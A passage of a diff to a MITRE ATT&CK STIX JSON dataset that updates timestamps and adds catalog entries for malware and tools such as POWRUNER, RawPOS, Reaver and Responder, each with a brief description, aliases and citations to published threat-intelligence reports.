+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "OSInfo"
+            ]
+        },
         {
             "type": "malware",
             "id": "malware--b136d088-a829-432c-ac26-5529c26d4c7e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:37.341Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "OnionDuke",
             "description": "OnionDuke is malware that was used by APT29 from 2013 to 2015. (Citation: F-Secure The Dukes)\n\nAliases: OnionDuke",
             "labels": [
@@ -18979,7 +20244,7 @@
             "id": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:47.412Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "OwaAuth",
             "description": "OwaAuth is a Web shell and credential stealer deployed to Microsoft Exchange servers that appears to be exclusively used by Threat Group-3390. (Citation: Dell TG-3390)\n\nAliases: OwaAuth",
             "labels": [
@@ -19009,7 +20274,7 @@
             "id": "malware--b2c5d3ca-b43a-4888-ad8d-e2d43497bf85",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:16.715Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "P2P ZeuS",
             "description": "P2P ZeuS is a closed-source fork of the leaked version of the ZeuS botnet. It presents improvements over the leaked version, including a peer-to-peer architecture. (Citation: Dell P2P ZeuS)\n\nAliases: P2P ZeuS, Peer-to-Peer ZeuS, Gameover ZeuS",
             "labels": [
@@ -19041,7 +20306,7 @@
             "id": "malware--f6ae7a52-f3b6-4525-9daf-640c083f006e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "PHOREAL",
             "description": "PHOREAL is a signature backdoor used by APT32. (Citation: FireEye APT32 May 2017)\n\nAliases: PHOREAL",
             "labels": [
@@ -19071,7 +20336,7 @@
             "id": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "POSHSPY",
             "description": "POSHSPY is a backdoor that has been used by APT29 since at least 2015. It appears to be used as a secondary backdoor used if the actors lost access to their primary backdoors. (Citation: FireEye POSHSPY April 2017)\n\nAliases: POSHSPY",
             "labels": [
@@ -19101,7 +20366,7 @@
             "id": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:24.739Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "POWERSOURCE",
             "description": "POWERSOURCE is a PowerShell backdoor that is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. It was observed in February 2017 in spearphishing campaigns against personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. The malware was delivered when macros were enabled by the victim and a VBS script was dropped. (Citation: FireEye FIN7 March 2017) (Citation: Cisco DNSMessenger March 2017)\n\nAliases: POWERSOURCE, DNSMessenger",
             "labels": [
@@ -19132,12 +20397,42 @@
                 "DNSMessenger"
             ]
         },
+        {
+            "type": "malware",
+            "id": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "POWRUNER",
+            "description": "POWRUNER is a PowerShell script that sends and receives commands to and from the C2 server. (Citation: FireEye APT34 Dec 2017)\n\nAliases: POWRUNER",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0184",
+                    "external_id": "S0184"
+                },
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "POWRUNER"
+            ]
+        },
         {
             "type": "tool",
             "id": "tool--a52edc76-328d-4596-85e7-d56ef5a9eb69",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:11.426Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Pass-The-Hash Toolkit",
             "description": "Pass-The-Hash Toolkit is a toolkit that allows an adversary to \"pass\" a password hash (without knowing the original password) to log in to systems. (Citation: Mandiant APT1)\n\nAliases: Pass-The-Hash Toolkit",
             "labels": [
@@ -19167,7 +20462,7 @@
             "id": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:35.780Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "PinchDuke",
             "description": "PinchDuke is malware that was used by APT29 from 2008 to 2010. (Citation: F-Secure The Dukes)\n\nAliases: PinchDuke",
             "labels": [
@@ -19197,7 +20492,7 @@
             "id": "tool--b77b563c-34bb-4fb8-86a3-3694338f7b47",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:01.483Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Ping",
             "description": "Ping is an operating system utility commonly used to troubleshoot and verify network connections. (Citation: TechNet Ping)\n\nAliases: Ping, ping.exe",
             "labels": [
@@ -19228,7 +20523,7 @@
             "id": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:12.388Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Pisloader",
             "description": "Pisloader is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by APT18 and is similar to another malware family, HTTPBrowser, that has been used by the group. (Citation: Palo Alto DNS Requests)\n\nAliases: Pisloader",
             "labels": [
@@ -19258,7 +20553,7 @@
             "id": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:15.638Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "PlugX",
             "description": "PlugX is a remote access tool (RAT) that uses modular plugins. (Citation: Lastline PlugX Analysis) It has been used by multiple threat groups. (Citation: FireEye Clandestine Fox Part 2) (Citation: New DragonOK) (Citation: Dell TG-3390)\n\nAliases: PlugX, Sogu, Kaba",
             "labels": [
@@ -19305,7 +20600,7 @@
             "id": "malware--b42378e0-f147-496f-992a-26a49705395b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:15.263Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "PoisonIvy",
             "description": "PoisonIvy is a popular remote access tool (RAT) that has been used by many groups. (Citation: FireEye Poison Ivy)\n\nAliases: PoisonIvy, Poison Ivy",
             "labels": [
@@ -19331,12 +20626,48 @@
                 "Poison Ivy"
             ]
         },
+        {
+            "type": "malware",
+            "id": "malware--0a9c51e0-825d-4b9b-969d-ce86ed8ce3c3",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Power Loader",
+            "description": "is modular code sold in the cybercrime market used as a downloader in malware families such as Carberp, Redyms and Gapz. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nAliases: Power Loader, Win32/Agent.UAW",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0177",
+                    "external_id": "S0177"
+                },
+                {
+                    "source_name": "MalwareTech Power Loader Aug 2013",
+                    "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.",
+                    "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html"
+                },
+                {
+                    "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013",
+                    "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.",
+                    "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "Power Loader",
+                "Win32/Agent.UAW"
+            ]
+        },
         {
             "type": "malware",
             "id": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:19.746Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "PowerDuke",
             "description": "PowerDuke is a backdoor that was used by APT29 in 2016. It has primarily been delivered through Microsoft Word or Excel attachments containing malicious macros. (Citation: Volexity PowerDuke November 2016)\n\nAliases: PowerDuke",
             "labels": [
@@ -19366,7 +20697,7 @@
             "id": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:07.943Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Prikormka",
             "description": "Prikormka is a malware family used in a campaign known as Operation Groundbait. It has predominantly been observed in Ukraine and was used as early as 2008. (Citation: ESET Operation Groundbait)\n\nAliases: Prikormka",
             "labels": [
@@ -19396,7 +20727,7 @@
             "id": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:21.771Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "PsExec",
             "description": "PsExec is a free Microsoft tool that can be used to execute a program on another computer. It is used by IT administrators and attackers. (Citation: Russinovich Sysinternals) (Citation: SANS PsExec)\n\nAliases: PsExec",
             "labels": [
@@ -19431,7 +20762,7 @@
             "id": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:53.268Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Psylo",
             "description": "Psylo is a shellcode-based Trojan that has been used by Scarlet Mimic. It has similar characteristics as FakeM. (Citation: Scarlet Mimic Jan 2016)\n\nAliases: Psylo",
             "labels": [
@@ -19461,7 +20792,7 @@
             "id": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:26.084Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Pteranodon",
             "description": "Pteranodon is a custom backdoor used by Gamaredon Group. (Citation: Palo Alto Gamaredon Feb 2017)\n\nAliases: Pteranodon",
             "labels": [
@@ -19491,7 +20822,7 @@
             "id": "malware--8c553311-0baa-4146-997a-f79acef3d831",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:38.480Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "RARSTONE",
             "description": "RARSTONE is malware used by the Naikon group that has some characteristics similar to PlugX. (Citation: Aquino RARSTONE)\n\nAliases: RARSTONE",
             "labels": [
@@ -19521,7 +20852,7 @@
             "id": "malware--ad4f146f-e3ec-444a-ba71-24bffd7f0f8e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:11.911Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "RIPTIDE",
             "description": "RIPTIDE is a proxy-aware backdoor used by APT12. (Citation: Moran 2014)\n\nAliases: RIPTIDE",
             "labels": [
@@ -19551,7 +20882,7 @@
             "id": "malware--cba78a1c-186f-4112-9e6a-be1839f030f7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:07.565Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "ROCKBOOT",
             "description": "ROCKBOOT is a Bootkit that has been used by an unidentified, suspected China-based group. (Citation: FireEye Bootkits)\n\nAliases: ROCKBOOT",
             "labels": [
@@ -19581,7 +20912,7 @@
             "id": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:26.565Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "RTM",
             "description": "RTM is custom malware written in Delphi. It is used by the group of the same name (RTM). (Citation: ESET RTM Feb 2017)\n\nAliases: RTM",
             "labels": [
@@ -19606,12 +20937,96 @@
                 "RTM"
             ]
         },
+        {
+            "type": "malware",
+            "id": "malware--9752aef4-a1f3-4328-929f-b64eb0536090",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "RawPOS",
+            "description": "RawPOS is a point-of-sale (POS) malware family that searches for cardholder data on victims. It has been in use since at least 2008. (Citation: Kroll RawPOS Jan 2017) (Citation: TrendMicro RawPOS April 2015) (Citation: Visa RawPOS March 2015) FireEye divides RawPOS into three components: FIENDCRY, DUEBREW, and DRIFTWOOD. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)\n\nAliases: RawPOS, FIENDCRY, DUEBREW, DRIFTWOOD\n\nContributors: Walker Johnson",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0169",
+                    "external_id": "S0169"
+                },
+                {
+                    "source_name": "Kroll RawPOS Jan 2017",
+                    "description": "Nesbit, B. and Ackerman, D. (2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder\u2019s Toolkit. Retrieved October 4, 2017."
+                },
+                {
+                    "source_name": "TrendMicro RawPOS April 2015",
+                    "description": "TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017."
+                },
+                {
+                    "source_name": "Visa RawPOS March 2015",
+                    "description": "Visa. (2015, March). Visa Security Alert: \"RawPOS\" Malware Targeting Lodging Merchants. Retrieved October 6, 2017.",
+                    "url": "https://usa.visa.com/dam/VCOM/download/merchants/alert-rawpos.pdf"
+                },
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                },
+                {
+                    "source_name": "DarkReading FireEye FIN5 Oct 2015",
+                    "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.",
+                    "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "RawPOS",
+                "FIENDCRY",
+                "DUEBREW",
+                "DRIFTWOOD"
+            ],
+            "x_mitre_contributors": [
+                "Walker Johnson"
+            ]
+        },
+        {
+            "type": "malware",
+            "id": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Reaver",
+            "description": "is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the \"Five Poisons,\" which are movements the Chinese government considers dangerous. The malware is unique due to its final payload being in the form of a Control panel item. (Citation: Palo Alto Reaver Nov 2017)\n\nAliases: Reaver",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0172",
+                    "external_id": "S0172"
+                },
+                {
+                    "source_name": "Palo Alto Reaver Nov 2017",
+                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "Reaver"
+            ]
+        },
         {
             "type": "malware",
             "id": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "RedLeaves",
             "description": "RedLeaves is a malware family used by menuPass. The code overlaps with PlugX and may be based upon the open source tool Trochilus. (Citation: PWC Cloud Hopper Technical Annex April 2017) (Citation: FireEye APT10 April 2017)\n\nAliases: RedLeaves, BUGJUICE",
             "labels": [
@@ -19647,7 +21062,7 @@
             "id": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:49.000Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Reg",
             "description": "Reg is a Windows utility used to interact with the Windows Registry. It can be used at the command-line interface to query, add, modify, and remove information. (Citation: Microsoft Reg)\n\nUtilities such as Reg are known to be used by persistent threats. (Citation: Windows Commands JPCERT)\n\nAliases: Reg, reg.exe",
             "labels": [
@@ -19683,7 +21098,7 @@
             "id": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:17.959Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Regin",
             "description": "Regin is a malware platform that has targeted victims in a range of industries, including telecom, government, and financial institutions. Some Regin timestamps date back to 2003. (Citation: Kaspersky Regin)\n\nAliases: Regin",
             "labels": [
@@ -19708,12 +21123,42 @@
                 "Regin"
             ]
         },
+        {
+            "type": "malware",
+            "id": "malware--4e6b9625-bbda-4d96-a652-b3bb45453f26",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "RemoteCMD",
+            "description": "is a custom tool used by APT3 to execute commands on a remote system similar to SysInternal's PSEXEC functionality.  (Citation: Symantec Buckeye)\n\nAliases: RemoteCMD",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0166",
+                    "external_id": "S0166"
+                },
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "RemoteCMD"
+            ]
+        },
         {
             "type": "malware",
             "id": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:12.858Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Remsec",
             "description": "Remsec is a modular backdoor that has been used by Strider and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua. (Citation: Symantec Strider Blog)\n\nAliases: Remsec, Backdoor.Remsec, ProjectSauron",
             "labels": [
@@ -19740,12 +21185,42 @@
                 "ProjectSauron"
             ]
         },
+        {
+            "type": "tool",
+            "id": "tool--a1dd2dbd-1550-44bf-abcc-1a4c52e97719",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Responder",
+            "description": "Responder is an open source tool used for LLMNR, NBT-NS and MDNS poisoning, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. (Citation: GitHub Responder)\n\nAliases: Responder",
+            "labels": [
+                "tool"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0174",
+                    "external_id": "S0174"
+                },
+                {
+                    "source_name": "GitHub Responder",
+                    "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.",
+                    "url": "https://github.com/SpiderLabs/Responder"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "Responder"
+            ]
+        },
         {
             "type": "malware",
             "id": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:58.226Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Rover",
             "description": "Rover is malware suspected of being used for espionage purposes. It was used in 2015 in a targeted email sent to an Indian Ambassador to Afghanistan. (Citation: Palo Alto Rover)\n\nAliases: Rover",
             "labels": [
@@ -19775,7 +21250,7 @@
             "id": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:55.925Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "S-Type",
             "description": "S-Type is a backdoor that was used by Dust Storm from 2013 to 2014. (Citation: Cylance Dust Storm)\n\nAliases: S-Type",
             "labels": [
@@ -19800,12 +21275,42 @@
                 "S-Type"
             ]
         },
+        {
+            "type": "malware",
+            "id": "malware--0998045d-f96e-4284-95ce-3c8219707486",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "SEASHARPEE",
+            "description": "is a Web shell that has been used by APT34. (Citation: FireEye APT34 Webinar Dec 2017)\n\nAliases: SEASHARPEE",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0185",
+                    "external_id": "S0185"
+                },
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "SEASHARPEE"
+            ]
+        },
         {
             "type": "malware",
             "id": "malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:21.366Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "SHIPSHAPE",
             "description": "SHIPSHAPE is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)\n\nAliases: SHIPSHAPE",
             "labels": [
@@ -19835,7 +21340,7 @@
             "id": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:42.754Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "SHOTPUT",
             "description": "SHOTPUT is a custom backdoor used by APT3. (Citation: FireEye Clandestine Wolf)\n\nAliases: SHOTPUT, Backdoor.APT.CookieCutter, Pirpi",
             "labels": [
@@ -19867,7 +21372,7 @@
             "id": "malware--3240cbe4-c550-443b-aa76-cc2a7058b870",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "SNUGRIDE",
             "description": "SNUGRIDE is a backdoor that has been used by menuPass as first stage malware. (Citation: FireEye APT10 April 2017)\n\nAliases: SNUGRIDE",
             "labels": [
@@ -19897,7 +21402,7 @@
             "id": "malware--9ca488bd-9587-48ef-b923-1743523e63b2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "SOUNDBITE",
             "description": "SOUNDBITE is a signature backdoor used by APT32. (Citation: FireEye APT32 May 2017)\n\nAliases: SOUNDBITE",
             "labels": [
@@ -19927,7 +21432,7 @@
             "id": "malware--8b880b41-5139-4807-baa9-309690218719",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:28.257Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "SPACESHIP",
             "description": "SPACESHIP is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)\n\nAliases: SPACESHIP",
             "labels": [
@@ -19957,7 +21462,7 @@
             "id": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:48.482Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Sakula",
             "description": "Sakula is a remote access tool (RAT) that first surfaced in 2012 and was used in intrusions throughout 2015. (Citation: Dell Sakula)\n\nAliases: Sakula, Sakurel, VIPER",
             "labels": [
@@ -19989,7 +21494,7 @@
             "id": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:37.767Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "SeaDuke",
